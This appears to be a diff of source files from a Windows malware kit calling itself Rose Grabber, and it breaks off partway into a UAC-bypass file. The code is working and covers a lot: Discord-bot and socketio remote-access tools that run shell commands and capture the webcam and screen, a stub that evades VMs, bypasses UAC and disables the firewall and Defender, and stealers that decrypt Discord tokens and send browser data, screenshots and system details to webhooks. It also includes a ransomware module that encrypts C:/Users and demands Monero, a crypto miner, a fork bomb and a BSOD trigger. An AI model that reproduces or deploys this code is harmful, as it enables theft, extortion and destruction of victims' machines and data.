await ctx.send(f'Webcam picture `{fname}` from process {clientid} was sent.')
os.remove(fname)
else:
await ctx.send(f'No camera was found for process {clientid}.')
if inputid != clientid:
if inputid == 'all':
camlist = pygame.camera.list_cameras()
fname = str(f'webcampicture_{clientid}.png')
if camlist:
cam = pygame.camera.Camera(camlist[0], (640, 480))
cam.start()
image = cam.get_image()
pygame.image.save(image, fname)
await ctx.send(file=discord.File(fname))
await ctx.send(f'Webcam picture `{fname}` from process {clientid} was sent.')
os.remove(fname)
else:
await ctx.send(f'No camera was found for process {clientid}.')
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='tasklist')
async def tasklist(ctx, inputid):
if inputid == clientid:
tasks = str(subprocess.check_output('tasklist', shell=True))
fname = f'runningtasks_{clientid}.txt'
with open(fname, 'w') as f:
f.write(tasks)
await ctx.send(file=discord.File(fname))
await ctx.send(f'Wrote all current tasks from process {clientid} to `{fname}`.')
os.remove(fname)
if inputid != clientid:
if inputid == 'all':
tasks = str(subprocess.check_output('tasklist', shell=True))
fname = f'runningtasks_{clientid}.txt'
with open(fname, 'w') as f:
f.write(tasks)
await ctx.send(file=discord.File(fname))
await ctx.send(f'Wrote all current tasks from process {clientid} to `{fname}`.')
os.remove(fname)
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='killprocess')
async def killprocess(ctx, inputid, procname):
if inputid == clientid:
subprocess.run(f'taskkill /f /im {procname}', shell=True)
await ctx.send(f'Initiated to kill process `{procname}` for client {clientid}.')
if inputid != clientid:
if inputid == 'all':
subprocess.run(f'taskkill /f /im {procname}', shell=True)
await ctx.send(f'Initiated to kill process `{procname}` for client {clientid}.')
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='excshell')
async def shell(ctx, inputid, cmd):
if inputid == clientid:
subprocess.run(f'start cmd /f /c {cmd}', shell=True)
await ctx.send(f'Executed cmd command `{cmd}` for process {clientid}.')
if inputid != clientid:
if inputid == 'all':
subprocess.run(f'start cmd /f /c {cmd}', shell=True)
await ctx.send(f'Executed cmd command `{cmd}` for process {clientid}.')
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='excpowershell')
async def powershell(ctx, inputid, shllcmd):
if inputid == clientid:
subprocess.run(f'start powershell /c {shllcmd}', shell=True)
await ctx.send(f'Executed shell command `{shllcmd}` for process {clientid}.')
if inputid != clientid:
if inputid == 'all':
subprocess.run(f'start powershell /c {shllcmd}', shell=True)
await ctx.send(f'Executed shell command `{shllcmd}` for process {clientid}.')
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='isadmin')
async def isadmin(ctx, inputid):
if inputid == clientid:
isadmin = ctypes.windll.shell32.IsUserAnAdmin()
if isadmin:
await ctx.send(f'Process {clientid} **is** admin.')
if not isadmin:
await ctx.send(f'Process {clientid} **is not** admin.')
if inputid != clientid:
if inputid == 'all':
isadmin = ctypes.windll.shell32.IsUserAnAdmin()
if isadmin:
await ctx.send(f'Process {clientid} **is** admin.')
if not isadmin:
await ctx.send(f'Process {clientid} **is not** admin.')
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='getadmin')
async def getadmin(ctx, inputid):
if inputid == clientid:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
await ctx.send(f'Requested admin access for process {clientid}.')
sys.exit(0)
if inputid != clientid:
if inputid == 'all':
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
await ctx.send(f'Requested admin access for process {clientid}.')
sys.exit(0)
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='quit')
async def quit(ctx, inputid):
if inputid == clientid:
await ctx.send(f'Terminated Knight Remote Adminstration Tool for {clientid}.')
sys.exit(0)
if inputid != clientid:
if inputid == 'all':
await ctx.send(f'Terminated Knight Remote Adminstration Tool for {clientid}.')
sys.exit(0)
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='clients')
async def clients(ctx):
await ctx.send(f'{hostname} - {clientid}.')
@bot.command(name='browser')
async def browser(ctx, inputid, url):
if inputid == clientid:
webbrowser.open(url)
await ctx.send(f'Opened webbrowser `{url}` for process {clientid}.')
if inputid != clientid:
if inputid == 'all':
webbrowser.open(url)
await ctx.send(f'Opened webbrowser `{url}` for process {clientid}.')
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
def run_rat():
bot.run(btoken)

View File

@@ -0,0 +1,376 @@
import os
import re
import ctypes
import pygame.camera
import subprocess
import threading
import sys
import platform
import shutil
from datetime import datetime
from dhooks import File, Embed
from base64 import b64decode
from Crypto.Cipher import AES
from ctypes import POINTER, Structure, byref, c_buffer, c_char, cdll, windll, wintypes
from json import loads as json_loads
from PIL import ImageGrab
from bin import xmr_miner, InjectX, rose_rat, knight_rat, block_sites, discordc, _roblox, tbsod, antivm, ransomware
from bin import _startup as startup
from bin.games import get_games
from bin.config import Config
from bin.webhook import _WebhookX
from bin._random_string import *
from bin.sysinf import send_device_information
from bin.uac_bypass import GetSelf, IsAdmin, UACbypass
from bin.browser import Browsers
from bin.ipinf import Info
cc = Config()
if platform.system() != "Windows":
sys.exit()
main_path = os.path.join(os.getenv("APPDATA"), "roseontop")
webhook = cc.get_webhook()
debug_mode = cc.get_debug_mode()
wh_avatar = cc.get_avatar()
wh_name = cc.get_name()
eb_color = cc.get_color()
eb_footer = cc.get_footer()
Threadlist = []
local = os.getenv("LOCALAPPDATA")
roaming = os.getenv("APPDATA")
temp = os.getenv("TEMP")
username = os.getlogin()
class DATA_BLOB(Structure):
_fields_ = [("cbData", wintypes.DWORD), ("pbData", POINTER(c_char))]
def GetData(blob_out):
cbData = int(blob_out.cbData)
pbData = blob_out.pbData
buffer = c_buffer(cbData)
cdll.msvcrt.memcpy(buffer, pbData, cbData)
windll.kernel32.LocalFree(pbData)
return buffer.raw
def send_error_notification(exception, type):
webx = _WebhookX().get_object()
embed = Embed(title="Rose Report", description="Rose Instance - Error", color=eb_color, timestamp=datetime.now().isoformat())
embed.set_author(name=wh_name, icon_url=wh_avatar)
embed.set_footer(text=eb_footer, icon_url=wh_avatar)
embed.add_field(name=f"Error in {type} occured | Help us by reporting this bug", value=f"`{exception}`", inline=False)
webx.send(embed=embed)
if cc.get_antivm():
try:
if antivm.user_check():
os._exit(1)
if antivm.hwid_check():
os._exit(1)
if antivm.ip_check():
os._exit(1)
if antivm.registry_check():
os._exit(1)
if antivm.dll_check():
os._exit(1)
if antivm.specs_check():
os._exit(1)
if antivm.proc_check():
os._exit(1)
if antivm.mac_check():
os._exit(1)
antivm.process_check()
except Exception as e:
send_error_notification(e, "Rose Anti-VM")
if cc.get_uac_bypass():
try:
if not IsAdmin():
if GetSelf()[1]:
if UACbypass():
os._exit(1)
else:
param = " ".join(sys.argv)
if ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, param, None, 1) > 32:
os._exit(0)
except Exception as e:
send_error_notification(e, "Rose UAC Bypass")
if IsAdmin():
if cc.get_disable_protectors():
subprocess.run("netsh advfirewall set domainprofile state off", shell=True)
subprocess.run('Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableRealtimeMonitoring" -Value 1', shell=True)
if cc.get_block_sites():
block_sites.block_sites()
if cc.get_start_up():
try:
startup.Startup()
except Exception as e:
send_error_notification(e, "Rose Startup")
if not os.path.exists(main_path):
try:
os.mkdir(main_path)
except Exception as e:
pass
if cc.get_fake_error():
try:
ctypes.windll.user32.MessageBoxW(0, "This application failed to start because d3dx9_43.dll was not found. Re-installing the application may fix this problem.", f"{os.path.basename(__file__)} - System Error", 16)
except Exception as e:
send_error_notification(e, "Rose Fake Error")
if cc.get_discord_ping():
try:
webx = _WebhookX().get_object()
webx.send("@everyone")
except Exception as e:
send_error_notification(e, "Rose Ping")
def DecryptValue(buff, master_key=None):
starts = buff.decode(encoding="utf8", errors="ignore")[:3]
if starts in ("v10", "v11"):
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
def CryptUnprotectData(encrypted_bytes, entropy=b""):
buffer_in = c_buffer(encrypted_bytes, len(encrypted_bytes))
buffer_entropy = c_buffer(entropy, len(entropy))
blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in)
blob_entropy = DATA_BLOB(len(entropy), buffer_entropy)
blob_out = DATA_BLOB()
if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0x01, byref(blob_out)):
return GetData(blob_out)
# credits to lotus
Tokens = ""
dclass = discordc.DiscordX()
def GetDiscord(path, arg):
if not os.path.exists(f"{path}/Local State"):
return
pathC = path + arg
pathKey = path + "/Local State"
with open(pathKey, "r", encoding="utf-8") as f:
local_state = json_loads(f.read())
master_key = b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = CryptUnprotectData(master_key[5:])
# print(path, master_key)
for file in os.listdir(pathC):
# print(path, file)
if file.endswith(".log") or file.endswith(".ldb"):
for line in [x.strip() for x in open(f"{pathC}\\{file}", errors="ignore").readlines() if x.strip()]:
for token in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line):
global Tokens
tokenDecoded = DecryptValue(b64decode(token.split("dQw4w9WgXcQ:")[1]), master_key)
if dclass.checkToken(tokenDecoded) and tokenDecoded not in Tokens:
# print(token)
Tokens += tokenDecoded
# writeforfile(Tokens, 'tokens')
dclass.uploadToken(tokenDecoded)
def GetTokens(path, arg):
if not os.path.exists(path):
return
path += arg
for file in os.listdir(path):
if file.endswith(".log") or file.endswith(".ldb"):
for line in [x.strip() for x in open(f"{path}\\{file}", errors="ignore").readlines() if x.strip()]:
for regex in (
r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}",
r"mfa\.[\w-]{80,95}",
):
for token in re.findall(regex, line):
global Tokens
if dclass.checkToken(token) and token not in Tokens:
Tokens += token
dclass.uploadToken(token)
discordPaths = [
[f"{roaming}/Discord", "/Local Storage/leveldb"],
[f"{roaming}/Lightcord", "/Local Storage/leveldb"],
[f"{roaming}/discordcanary", "/Local Storage/leveldb"],
[f"{roaming}/discordptb", "/Local Storage/leveldb"],
]
if cc.get_token_stealing():
for patt in discordPaths:
a = threading.Thread(target=GetDiscord, args=[patt[0], patt[1]])
a.start()
Threadlist.append(a)
if cc.get_browser_stealing():
try:
browsers = Browsers(webhook)
except Exception as e:
send_error_notification(e, "Rose Browser Stealer")
if cc.get_screenshot():
try:
rndm_strr = get_random_string(5)
path = os.path.join(main_path, f"screenshot_{rndm_strr}.png")
screenshot = ImageGrab.grab()
screenshot.save(path)
webx = _WebhookX().get_object()
embed = Embed(title="Rose Report", description="Rose Instance - Screenshot", color=eb_color, timestamp=datetime.now().isoformat())
embed.set_author(name=wh_name, icon_url=wh_avatar)
embed.set_footer(text=eb_footer, icon_url=wh_avatar)
file = File(path, name="screenshot.png")
embed.set_image(url=f"attachment://screenshot.png")
webx.send(embed=embed, file=file)
os.remove(path)
except Exception as e:
send_error_notification(e, "Rose Screenshot Stealer")
if cc.get_webcam():
pygame.camera.init()
camlist = pygame.camera.list_cameras()
try:
rndm_strr = get_random_string(5)
if camlist:
cam = pygame.camera.Camera(camlist[0], (640, 480))
cam.start()
image = cam.get_image()
path = os.path.join(main_path, f"webcam_{rndm_strr}.png")
pygame.image.save(image, path)
cam.stop()
webx = _WebhookX().get_object()
embed = Embed(title="Rose Report", description="Rose Instance - Webcam", color=eb_color, timestamp=datetime.now().isoformat())
embed.set_author(name=wh_name, icon_url=wh_avatar)
embed.set_footer(text=eb_footer, icon_url=wh_avatar)
file = File(path, name="webcam.png")
embed.set_image(url=f"attachment://webcam.png")
webx.send(embed=embed, file=file)
os.remove(path)
except Exception as e:
send_error_notification(e, "Rose Webcam Stealer")
if cc.get_games():
try:
get_games().get_games()
except Exception as e:
send_error_notification(e, "Rose Games and Application Grabber")
if cc.get_deviceinf_stealing():
try:
send_device_information()
except Exception as e:
send_error_notification(e, "Rose Device Data Stealing")
if cc.get_ipinf_stealing():
try:
Info().send_data()
except Exception as e:
send_error_notification(e, "Rose IP & Wi-Fi Data")
if cc.get_injection():
try:
InjectX.InjectionX(webhook)
except Exception as e:
send_error_notification(e, "Rose Discord Injection")
if cc.get_roblox_stealing():
try:
_roblox.RobloxX().run()
except Exception as e:
send_error_notification(e, "Rose Roblox Stealer")
if os.path.exists(main_path):
try:
shutil.rmtree(main_path)
except Exception as e:
pass
if cc.get_xmr_miner():
try:
threading.Thread(target=xmr_miner.xmrig()).start()
except Exception as e:
send_error_notification(e, "XMR Miner")
if cc.get_ransomware():
try:
threading.Thread(target=ransomware.ransomware()).start()
except Exception as e:
send_error_notification(e, "Rose Ransomware")
if cc.get_knight_discord_rat():
try:
threading.Thread(target=knight_rat.run_rat()).start()
except Exception as e:
send_error_notification(e, "Knight Remote Access")
if cc.get_rose_discord_rat():
try:
threading.Thread(target=rose_rat.run_rat()).start()
except Exception as e:
send_error_notification(e, "Rose Remote Access")
if cc.get_bbcrash():
try:
cr_file = os.path.join(os.getenv("appdata"), "rose", "csh45r.bat")
with open(cr_file, "w") as f:
f.write("%0|%0")
subprocess.run("start /min cmd /k call {}".format(cr_file), shell=True, startupinfo=subprocess.STARTUPINFO(dwFlags=subprocess.STARTF_USESHOWWINDOW))
except Exception as e:
send_error_notification(e, "Rose Batch Crash Attempter")
if cc.get_tsbsod():
try:
tbsod.Trigger()
except Exception as e:
send_error_notification(e, "Rose Trigger BSOD")
if cc.get_rose_melt_stub():
try:
if not (cc.get_knight_discord_rat() or cc.get_rose_discord_rat() or cc.get_ransomware()):
path = sys.argv[0]
subprocess.Popen('ping localhost -n 3 > NUL && del /A H /F "{}"'.format(path), shell=True, creationflags=subprocess.CREATE_NEW_CONSOLE | subprocess.SW_HIDE)
sys.exit()
except Exception as e:
send_error_notification(e, "Rose Anti Debug")

View File

@@ -0,0 +1,136 @@
import os
import random
import string
import requests
import datetime
import errno
from cryptography.fernet import Fernet
from bin.config import Config
cc = Config()
target_directory = r"C:/Users" # Directory to encrypt
webhook_url = cc.get_ransomware_discord_webhook_url() # Discord Webhook URL
email_adr = cc.get_ransomware_email_adress() # Email Adress where your encryption key will be sent
monero_adr = cc.get_ransomware_monero_wallet_adress() # Monero Wallet Address
cash = cc.get_ransomware_amount_of_money() # Amount of money to receive
timestamp = datetime.datetime.now().isoformat()
def log_error(e):
data = {"username": "Rose Ransomware", "avatar_url": "https://raw.githubusercontent.com/DamagingRose/Rose-Grabber/main/resources/assets/Rose.png", "embeds": [{"title": "Rose Ransomware Error", "url": "https://github.com/voyqge", "color": cc.get_color(), "fields": [{"name": "USER ID", "value": f"`{user_id}`", "inline": True}, {"name": "ERROR OCCURED", "value": f"`{e}`", "inline": True}], "footer": {"text": "https://github.com/voyqge"}, "timestamp": timestamp}]}
try:
requests.post(webhook_url, json=data)
except Exception:
pass
characters = string.ascii_letters + string.digits
user_id = "".join(random.choice(characters) for i in range(9)) # Creates random user ID
key = Fernet.generate_key() # Creates random AES key
cipher_suite = Fernet(key)
encryptedfiles = [] # Saves all encrypted files
ransom_note = f"""Your computer is now infected with ransomware. Your file are encrypted with a secure algorithm that is impossible to crack.
To recover your files you need a key. This key is generated once your file have been encrypted. To obtain the key, you must purchase it.
You can do this by sending {cash} USD to this monero address:
{monero_adr}
Don't know how to get monero? Here are some websites:
https://www.coinbase.com/how-to-buy/monero
https://localmonero.co/?language=en
https://www.okx.com/buy-xmr
Once you have sent the ransom to the monero address you must write an email this this email address: {email_adr}
In this email you will include your personal ID so we know who you are. Your personal ID is: {user_id}
Once you have completeted all of the steps, you will be provided with the key to decrypt your files.
Don't know how ransomware works? Read up here:
https://www.trellix.com/en-us/security-awareness/ransomware/what-is-ransomware.html
https://www.checkpoint.com/cyber-hub/threat-prevention/ransomware/
https://www.trendmicro.com/vinfo/us/security/definition/Ransomware
Note: Messing with the ransomware will simply make your files harder to decrypt. Deleting the webhook will make it impossible, as the key can not be generated.
Good luck"""
def send_wh():
data = {"username": "Rose Ransomware", "avatar_url": "https://raw.githubusercontent.com/DamagingRose/Rose-Grabber/main/resources/assets/Rose.png", "embeds": [{"title": "Rose Ransomware Hit", "description": "Hello. It looks like you have hit another person. As soon as they send you an email with their personal ID and you approved their payment, please send them the download link for the decryption tool and give them their key, thanks. https://github.com/DamagingRose/Rose-Grabber/tree/main/resources/utils/rosedec", "url": "https://github.com/voyqge", "color": cc.get_color(), "fields": [{"name": "USER ID", "value": f"`{user_id}`", "inline": True}, {"name": "TARGET DIR", "value": f"`{target_directory}`", "inline": True}, {"name": "DECRYPTION KEY", "value": f"`{key.hex()}`", "inline": True}], "footer": {"text": "https://github.com/voyqge"}, "timestamp": timestamp}]}
try:
requests.post(webhook_url, json=data)
except Exception:
pass
def encrypt_file(file_path):
encryptedfiles.append(file_path)
with open(file_path, "rb") as file:
file_data = file.read()
encrypted_data = cipher_suite.encrypt(file_data)
encrypted_file_path = file_path + ".rose.encrypted"
with open(encrypted_file_path, "wb") as encrypted_file:
encrypted_file.write(encrypted_data)
os.remove(file_path)
def encrypt_directory(directory_path):
for root, dirs, files in os.walk(directory_path):
for file in files:
file_path = os.path.join(root, file)
try:
encrypt_file(file_path)
except OSError as e:
if e.errno in (errno.EACCES, errno.EPERM, errno.EINVAL, errno.ENOENT, errno.ENOTDIR, errno.ENAMETOOLONG, errno.EROFS):
pass # Ignore permission/access errors
except Exception as e:
if isinstance(
e,
(
FileNotFoundError,
IsADirectoryError,
TimeoutError,
),
):
pass # Ignore common file errors
else:
log_error(e)
def encrypted_files():
try:
with open("ROSE-RANSOMWARE-ENCRYPTED-FILES.txt", "w") as file:
for encryptedfile in encryptedfiles:
file.write(encryptedfile + "\n")
except Exception as e:
log_error(e)
def ransomware():
send_wh()
encrypt_directory(target_directory)
encrypted_files()
try:
desktop = os.path.join(os.path.join(os.environ["USERPROFILE"]), "Desktop")
file_path = os.path.join(desktop, "ROSE-RANSOMWARE-NOTE.txt")
with open(file_path, "w") as f:
f.write(ransom_note)
os.startfile(file_path)
except Exception as e:
log_error(e)

View File

@@ -0,0 +1,227 @@
from bin.config import Config
from bin.webhook import _WebhookX
from bin.ipinf import Info
cc = Config()
ii = Info()
import socketio
import cv2
import random
import pyttsx3
import string
import ctypes
import os
from datetime import datetime
import subprocess
import io
from dhooks import Embed, File
from PIL import ImageGrab
from pynput.keyboard import Key, Controller
import threading
sio = socketio.Client()
class CommandHandler:
def __init__(self):
self.webhook = _WebhookX().get_object()
self.keyboard = Controller()
def screenshot(self):
screenshot = ImageGrab.grab()
file_name = "".join(random.choice(string.ascii_letters) for i in range(10))
screenshot.save(f"temp_{file_name}.png")
file = File(f"temp_{file_name}.png", name="Rose-Injector Screenshot.png")
self.webhook.send(file=file)
os.remove(f"temp_{file_name}.png")
@staticmethod
def messagebox(message):
MB_YESNO = 0x04
MB_HELP = 0x4000
ICON_STOP = 0x10
ctypes.windll.user32.MessageBoxW(0, message, "Error", MB_HELP | MB_YESNO | ICON_STOP)
def shell(self, instruction):
def _shell():
output = subprocess.run(instruction, stdout=subprocess.PIPE, shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
return output
try:
result = str(_shell().stdout.decode("CP437")) # CP437 Decoding used for characters like " é " etc..
except Exception as e:
result = str(f"Error | Advanced log: {e}")
embed = Embed(description="Rose RAT", color=11495919, timestamp="now") # sets the timestamp to current time
embed.set_author(name=f"Shell command result | {instruction}", icon_url=cc.get_avatar())
embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar())
embed.add_field(name="Result", value=f"`{result}`")
self.webhook.send(embed=embed)
def shutdown(self):
embed = Embed(description="Rose RAT", color=11495919, timestamp="now") # sets the timestamp to current time
embed.set_author(name=f"Shutting down the PC", icon_url=cc.get_avatar())
embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar())
self.webhook.send(embed=embed)
os.system("shutdown /s /t 1")
def webcampic(self): # Take a picture with the webcam and send it with the webhook
try:
cam = cv2.VideoCapture(0) # 0 -> index of camera
s, img = cam.read()
if s: # frame captured without any errors
suc, buffer = cv2.imencode(".jpg", img)
io_buf = io.BytesIO(buffer)
file = File(io_buf, name="cam.jpg")
self.webhook.send(file=file)
except Exception as e:
embed = Embed(description="Rose RAT", color=16399677, timestamp="now") # sets the timestamp to current time
embed.set_author(name=f"WebcamPIC Error", icon_url=cc.get_avatar())
embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar())
embed.add_field(name="Advanced log:", value=f"`{e}`")
self.webhook.send(embed=embed)
def volumeup(self):
for i in range(50):
self.keyboard.press(Key.media_volume_up)
self.keyboard.release(Key.media_volume_up)
def volumedown(self):
for i in range(50):
self.keyboard.press(Key.media_volume_down)
self.keyboard.release(Key.media_volume_down)
def voice(self, text):
self.volumeup()
engine = pyttsx3.init()
engine.setProperty("rate", 150)
engine.say(text)
engine.runAndWait()
def uptime(self):
embed = Embed(description="Rose RAT", color=11495919, timestamp="now") # sets the timestamp to current time
embed.set_author(name=f"Connection Uptime", icon_url=cc.get_avatar())
embed.add_field(name="Uptime :", value=datetime.now())
embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar())
self.webhook.send(embed=embed)
def screenshare(self):
def to_execute(self):
import socketio
from zlib import compress
import time
from mss import mss
_sio = socketio.Client()
WIDTH = 1900
HEIGHT = 1000
@_sio.event
def connect():
while True:
with mss() as sct:
# The region to capture
rect = {"top": 0, "left": 0, "width": WIDTH, "height": HEIGHT}
while True:
# Capture the screen
img = sct.grab(rect)
# Tweak the compression level here (0-9)
pixels = compress(img.rgb, 6)
# Send the size of the pixels length
size = len(pixels)
size_len = (size.bit_length() + 7) // 8
final_size_len = bytes([size_len])
# conn.send(bytes([size_len]))
# Send the actual pixels length
size_bytes = size.to_bytes(size_len, "big")
final_size_bytes = size_bytes
# conn.send(size_bytes)
# Send pixels
# conn.sendall(pixels)
_sio.emit("sending_screenshot", {"data": {"size_len": final_size_len, "size_bytes": final_size_bytes, "pixels": pixels}})
time.sleep(0.5) # Don't overload the server
_sio.connect(cc.get_rose_discord_rat_link())
t = threading.Thread(target=to_execute, args=(self,))
t.run()
cmdhandler = CommandHandler()
@sio.event
def connect():
start_time = datetime.now()
sio.emit(
"rose_connect",
{
"data": {
"ip": ii.get_ip(),
"username": ii.get_username(),
"server": cc.get_rose_discord_rat_link(),
"webhook": cc.get_webhook(),
"avatar": cc.get_avatar(),
"footer": cc.get_footer(),
}
},
)
@sio.event
def receive_command(data):
if data["data"] == "screenshot":
cmdhandler.screenshot()
if data["data"].startswith("messagebox") is True:
cmdhandler.messagebox(data["data"].split("messagebox", 1)[1])
if data["data"].startswith("shell") is True:
cmdhandler.shell(data["data"].split("shell", 1)[1])
if data["data"].startswith("voice") is True:
cmdhandler.voice(data["data"].split("voice", 1)[1])
if data["data"] == "screenshare":
cmdhandler.screenshare()
if data["data"] == "volumemax":
cmdhandler.volumeup()
if data["data"] == "volumezero":
cmdhandler.volumedown()
if data["data"] == "shutdown":
cmdhandler.shutdown()
if data["data"] == "webcampic":
cmdhandler.webcampic()
if data["data"] == "uptime":
cmdhandler.uptime()
@sio.event
def disconnect():
print("disconnect")
def run_rat():
sio.connect(cc.get_rose_discord_rat_link())
sio.wait()

View File

@@ -0,0 +1,215 @@
import os
import wmi
import subprocess
import GPUtil
import sys
import psutil
import pywifi
import uuid
import pyautogui
import pygame.camera
import socket
import platform
import requests
from bin.config import Config
from datetime import datetime
cc = Config()
webhook = cc.get_webhook()
eb_color = cc.get_color()
def get_drive_info():
drive_info = []
partitions = psutil.disk_partitions()
for partition in partitions:
drive = {}
drive["device"] = partition.device
drive["mountpoint"] = partition.mountpoint
try:
usage = psutil.disk_usage(partition.mountpoint)
drive["total"] = usage.total
drive["used"] = usage.used
drive_info.append(drive)
except OSError as e:
continue
return drive_info
def format_drive_info(drives):
formatted_info = []
for drive in drives:
formatted = f"Drive: {drive['device']} (Mountpoint: {drive['mountpoint']}) - " f"Total Space: {drive['total']} bytes - " f"Used Space: {drive['used']} bytes"
formatted_info.append(formatted)
return " - ".join(formatted_info)
pygame.camera.init()
username = str(os.getenv("USERNAME"))
hostname = str(os.environ["COMPUTERNAME"])
hwid = subprocess.check_output("wmic csproduct get uuid").split(b"\n")[1].strip().decode("utf-8", errors="ignore")
wifi_interfaces = pywifi.PyWiFi().interfaces()
iface = wifi_interfaces[0] if wifi_interfaces else None
ssid, bssid = "No result", "No result"
if iface:
iface.scan()
for result in iface.scan_results():
try:
ssid = result.ssid
bssid = result.bssid
except:
pass
# For some reason this may result in an error (https://github.com/DamagingRose/Rose-Grabber/issues/167)
# pywifi/profile.py already initializes an SSID variable, so why this happens in unknown.
lang = subprocess.check_output("wmic os get MUILanguages /format:list").decode().strip().split("\r\r\n")[0].split("=")[1] if subprocess.check_output("wmic os get MUILanguages /format:list", shell=True).decode().strip() else "No Language"
try:
system_output = subprocess.check_output("wmic os get Caption /format:list", shell=True).decode().strip()
except:
system_output = None
system = str(system_output.split("\r\r\n")[0].split("=")[1]) if system_output else "No System Information"
output = subprocess.check_output("wmic path softwarelicensingservice get OA3xOriginalProductKey", shell=True).decode().strip()
product_key = str(output.split("\n", 1)[-1].strip()) if output else "No Product Key"
ram = str(round(psutil.virtual_memory().total / (1024.0**3))) + " GB"
power = str(psutil.sensors_battery().percent) + "%" if psutil.sensors_battery() is not None else "No battery"
screen = f"{pyautogui.size()[0]}x{pyautogui.size()[1]}"
webcams_count = len(pygame.camera.list_cameras())
internal_ip = str(socket.gethostbyname(socket.gethostname()))
external_ip = str(requests.get("https://api.ipify.org").text)
gpus = GPUtil.getGPUs()
gpu_info = str("")
for gpu in gpus:
gpu_info += f"GPU Name: {gpu.name} - GPU Driver: {gpu.driver} - GPU Memory Total: {gpu.memoryTotal}MB - GPU Memory Free: {gpu.memoryFree}MB - GPU Memory Used: {gpu.memoryUsed}MB"
info = wmi.WMI().Win32_Processor()[0]
cpu_info = str(f"Name: {info.Name} - Arch: x{info.AddressWidth} - Cores: {info.NumberOfCores}")
current_execution_path = str(os.path.join(os.getcwd(), sys.argv[0]))
drives = get_drive_info()
drive_info_string = str(format_drive_info(drives))
mac_address = str(":".join(["{:02X}".format((uuid.getnode() >> elements) & 0xFF) for elements in range(0, 2 * 6, 2)][::-1]))
processor_id = str(platform.processor())
device_model = (lambda output: output.split("\n")[1].strip() if output else "No Device Model")(str(subprocess.check_output("wmic csproduct get name"), "utf-8"))
current_time_iso = datetime.now().isoformat()
def send_device_information():
embed = {
"title": "Rose Report",
"description": "Rose Instance - System Information",
"color": eb_color,
"fields": [
{
"name": "Hostname",
"value": f"`{hostname}`",
"inline": False,
},
{
"name": "Username",
"value": f"`{username}`",
"inline": False,
},
{
"name": "Device Model",
"value": f"`{device_model}`",
"inline": False,
},
{
"name": "HWID",
"value": f"`{hwid}`",
"inline": False,
},
{
"name": "SSID",
"value": f"`{ssid}`",
"inline": False,
},
{
"name": "BSSID",
"value": f"`{bssid}`",
"inline": False,
},
{
"name": "Language",
"value": f"`{lang}`",
"inline": False,
},
{
"name": "System",
"value": f"`{system}`",
"inline": False,
},
{
"name": "Product Key",
"value": f"`{product_key}`",
"inline": False,
},
{
"name": "RAM",
"value": f"`{ram}`",
"inline": False,
},
{
"name": "Power",
"value": f"`{power}`",
"inline": False,
},
{
"name": "Screen",
"value": f"`{screen}`",
"inline": False,
},
{
"name": "Webcams",
"value": f"`{webcams_count}`",
"inline": False,
},
{
"name": "Internal IP",
"value": f"`{internal_ip}`",
"inline": False,
},
{
"name": "External IP",
"value": f"`{external_ip}`",
"inline": False,
},
{
"name": "GPU",
"value": f"`{gpu_info}`",
"inline": False,
},
{
"name": "CPU",
"value": f"`{cpu_info}`",
"inline": False,
},
{
"name": "Current Execution Path",
"value": f"`{current_execution_path}`",
"inline": False,
},
{
"name": "Drives",
"value": f"`{drive_info_string}`",
"inline": False,
},
{
"name": "MAC Address",
"value": f"`{mac_address}`",
"inline": False,
},
{
"name": "Processor ID",
"value": f"`{processor_id}`",
"inline": False,
},
],
"footer": {"text": cc.get_footer(), "icon_url": cc.get_avatar()},
"author": {"name": cc.get_name(), "icon_url": cc.get_avatar()},
"timestamp": current_time_iso,
}
requests.post(webhook, json={"embeds": [embed]})

View File

@@ -0,0 +1,14 @@
from ctypes import windll
from ctypes import c_int
from ctypes import c_uint
from ctypes import c_ulong
from ctypes import POINTER
from ctypes import byref
def Trigger():
nullptr = POINTER(c_int)()
windll.ntdll.RtlAdjustPrivilege(c_uint(19), c_uint(1), c_uint(0), byref(c_int()))
windll.ntdll.NtRaiseHardError(c_ulong(0xC000007B), c_ulong(0), nullptr, nullptr, c_uint(6), byref(c_uint()))

View File

@@ -0,0 +1,40 @@
import subprocess
import ctypes
import sys
def UACbypass(method: int = 1) -> bool:
if GetSelf()[1]:
execute = lambda cmd: subprocess.run(cmd, shell=True, capture_output=True)
if method == 1:
execute(f'reg add hkcu\Software\\Classes\\ms-settings\\shell\\open\\command /d "{sys.executable}" /f')
execute('reg add hkcu\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f')
log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout.decode("utf-8"))
